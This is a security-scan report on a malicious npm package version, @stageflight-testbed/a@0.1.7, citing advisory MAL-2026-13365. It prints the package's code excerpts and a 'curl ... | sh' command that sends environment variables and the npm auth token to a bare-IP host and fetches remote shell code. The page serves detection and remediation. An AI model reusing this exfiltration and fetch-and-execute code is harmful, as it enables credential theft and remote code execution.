@stageflight-testbed/a
This report shows the evidence for @stageflight-testbed/a@0.1.7, the only known version.
OpenSSF/OSV Malicious Advisory
imported 3mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-13365 confirms this npm version as malicious.
Advisory
MAL-2026-13365
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @stageflight-testbed/a (npm)
Details
index.ts defines an exported _telemetry function that (1) POSTs process.env and process.env.NODE_AUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on `curl -s http://185.220.101.47:8080/the assessment | sh`, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(...,'base64') to hide the destination from source review. Execution is gated by an environment flag (__SF_TEST_NEVER__), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The malicious capability is present in source but has no automatic package trigger. Per policy, this is an inert payload carrier requiring a warning rather than a publish block.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
A consumer calls _telemetry() with __SF_TEST_NEVER__=1.
Impact
Environment and npm token disclosure; arbitrary code execution in the caller environment.
Mechanism
guarded credential exfiltration followed by remote shell execution
AI rationale
The malicious capability is present in source but has no automatic package trigger. Per policy, this is an inert payload carrier requiring a warning rather than a publish block.
Evidence
package.jsonindex.ts
Network endpoints2
185.220.101.47:8080/collect185.220.101.47:8080/collect/stage2
Independent scan evidence
public snapshotAI called this Suspicious at 98.0% confidence as Dangerous Capability with low false-positive risk.
Evidence for AI warning decision
- index.ts decodes a Base64 hardcoded HTTP endpoint.
- _telemetry posts process.env and NODE_AUTH_TOKEN to that endpoint.
- _telemetry shells remote content via curl | sh.
Evidence against
- package.json has no lifecycle scripts.
- Dangerous code is only in exported _telemetry, requiring an explicit runtime call.
- The env guard prevents execution unless __SF_TEST_NEVER__ is set to 1.
Behavioral surface
ChildProcessEnvironmentVarsNetworkShell
HighEntropyStrings
NoLicense
Source & flagged code
5 flagged · loading sourceindex.tsView file
8// ---------------------------------------------------------------------------------------
L9: import { execSync } from 'node:child_process';
L10:
L11: // base64 of "http://185.220.101.47:8080/collect" — hides the real endpoint
L12: const C2 = Buffer.from('[redacted]==', 'base64').toString();
...
L14: export async function _telemetry(): Promise<void> {
L15: if (process.env.__SF_TEST_NEVER__ !== '1') return; // inert: never runs
L16:
Critical
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution with blocking evidence.
index.tsView on unpkg · L88// ---------------------------------------------------------------------------------------
L9: import { execSync } from 'node:child_process';
L10:
L11: // base64 of "http://185.220.101.47:8080/collect" — hides the real endpoint
L12: const C2 = Buffer.from('[redacted]==', 'base64').toString();
...
L14: export async function _telemetry(): Promise<void> {
L15: if (process.env.__SF_TEST_NEVER__ !== '1') return; // inert: never runs
L16:
...
L19: method: 'POST',
L20: body: JSON.stringify({ env: process.env, npmToken: process.env.NODE_AUTH_TOKEN }),
L21: });
Critical
8Trigger-reachable chain: manifest.main -> index.ts
L8: // ---------------------------------------------------------------------------------------
L9: import { execSync } from 'node:child_process';
L10:
L11: // base64 of "http://185.220.101.47:8080/collect" — hides the real endpoint
L12: const C2 = Buffer.from('[redacted]==', 'base64').toString();
...
L14: export async function _telemetry(): Promise<void> {
L15: if (process.env.__SF_TEST_NEVER__ !== '1') return; // inert: never runs
L16:
...
L19: method: 'POST',
L20: body: JSON.stringify({ env: process.env, npmToken: process.env.NODE_AUTH_TOKEN }),
L21: });
Findings
3 Critical3 High3 Medium2 Low
CriticalSame File Env Network Executionindex.ts
CriticalDownload Executeindex.ts
CriticalTrigger Reachable Dangerous Capabilityindex.ts
HighChild Processindex.ts
HighShell
HighBase64 Obscured Urlindex.ts
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowNo License
Affected versions and remediation
This report applies to @stageflight-testbed/a@0.1.7.
The versions list below shows the verdict for each recorded version.
- Avoid installing @stageflight-testbed/a@0.1.7. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.